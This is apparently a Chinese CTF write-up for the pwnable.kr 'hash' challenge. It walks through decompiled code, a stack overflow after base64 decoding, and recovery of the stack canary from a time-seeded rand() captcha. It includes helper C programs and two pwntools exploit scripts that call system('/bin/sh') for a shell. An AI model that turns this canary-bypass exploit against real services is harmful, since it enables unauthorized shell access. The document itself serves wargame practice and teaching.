开启了canary和NX保护
int __cdecl main(int argc, const char **argv, const char **envp)
{
unsigned int v3; // eax
int v5; // [esp+18h] [ebp-8h]
int v6; // [esp+1Ch] [ebp-4h]
setvbuf(stdout, 0, 1, 0);
setvbuf(stdin, 0, 1, 0);
puts("- Welcome to the free MD5 calculating service -");
v3 = time(0);
srand(v3);
v6 = my_hash();
printf("Are you human? input captcha : %d\n", v6);
__isoc99_scanf("%d", &v5);
if ( v6 != v5 )
{
puts("wrong captcha!");
exit(0);
}
puts("Welcome! you are authenticated.");
puts("Encode your data with BASE64 then paste me!");
process_hash();
puts("Thank you for using our service.");
system("echo `date` >> log");
return 0;
}
大致看一下,这里的my_hash函数有点怪,它让canary和一些随机数进行了加减运算
然后进入process_hash()
函数
unsigned int process_hash()
{
int v0; // ST14_4
char *ptr; // ST18_4
char v3; // [esp+1Ch] [ebp-20Ch]
unsigned int v4; // [esp+21Ch] [ebp-Ch]
v4 = __readgsdword(0x14u);
memset(&v3, 0, 0x200u);
while ( getchar() != '\n' )
;
memset(g_buf, 0, sizeof(g_buf));
fgets(g_buf, 1024, stdin);
memset(&v3, 0, 0x200u);
v0 = Base64Decode(g_buf, (int)&v3);
ptr = calc_md5((int)&v3, v0);
printf("MD5(data) : %s\n", ptr);
free(ptr);
return __readgsdword(0x14u) ^ v4;
}
输入数据进行了base64解密放入v3
v3不能存储1024字节解密后的数据,造成了栈溢出。
在本地和远程时间相同生成的随机数是相同的,可以利用这一点获取到canary
hashc.c
#include<stdio.h>
#include<time.h>
int main()
{
time_t seed=time(0);
srand(seed);
int v4,a;
int v[8];
for(int i=0;i<=7;i++)
{
v[i]=rand();
}
printf("%x",v[4]-v[6]+v[7]+v[2]-v[3]+v[1]+v[5]);
}
from pwn import *
import os
import base64
bss=0x0804B0E0
call_system=0x08049187
def get_key():
output=os.popen("./hashc")
key=int(output.read(),16)
print "key="+hex(key)
return key
#p=process("./hash")
p=remote("pwnable.kr",9002)
#gdb.attach(p,"b *0x0804902B")
p.recvuntil("Are you human? input captcha : ")
key=get_key()
data=int(p.recv())
print "data="+hex(data)
canary=data-key
print "canary="+hex(canary)
p.sendline(str(data))
p32(canary)
payload=b64e("A"*0x200+p32(canary)+"a"*12+p32(call_system)+p32(bss+716+1))
print payload
print "len_payload=",len(payload)
payload+="\x00/bin/sh\x00"
p.recvuntil("paste me!")
p.sendline(payload)
p.interactive()
不过这个脚本有一点问题,canary是减过之后获取到的,如果为负数在p32的时候会失败。所以要多次尝试。
贴出一套更优的exp
hashc.c
#include <stdio.h>
#include <stdlib.h>
int main(int argc, char **argv)
{
int m = atoi(argv[2]); // argv[2] = captcha
int rands[8];
int i;
srand(atoi(argv[1])); // argv[1] = time
for (i = 0; i <= 7; i++)
{
rands[i] = rand();
}
m -= rands[1] + rands[2] - rands[3] + rands[4] + rands[5] - rands[6] + rands[7];
printf("%x\n", m);
return 0;
}
import os
import time
from pwn import *
context(os='linux', arch='i386', log_level='debug')
p = process("./hash")
gdb.attach(p,"b *0x08049026")
p.recvuntil(' : ')
captcha = p.recvline().strip()
t = int(time.time()) # time.time() return float value
cookie = int('0x' + os.popen('./cal_stack_canary %s %s' %(t, captcha)).read().strip(), 16)
p.sendline(captcha)
p.recvuntil('me!\n')
call_system_addr = 0x8049187
g_buf_addr = 0x804b0e0
payload = 0x200 * 'a'
payload += p32(cookie)
payload += 12 * 'b'
payload += p32(call_system_addr)
payload += p32(g_buf_addr + 537*4/3)
payload = b64e(payload)
payload += '/bin/sh\x00'
p.sendline(payload)
p.interactive()
不仅加载文件还有参数,新的调用姿势。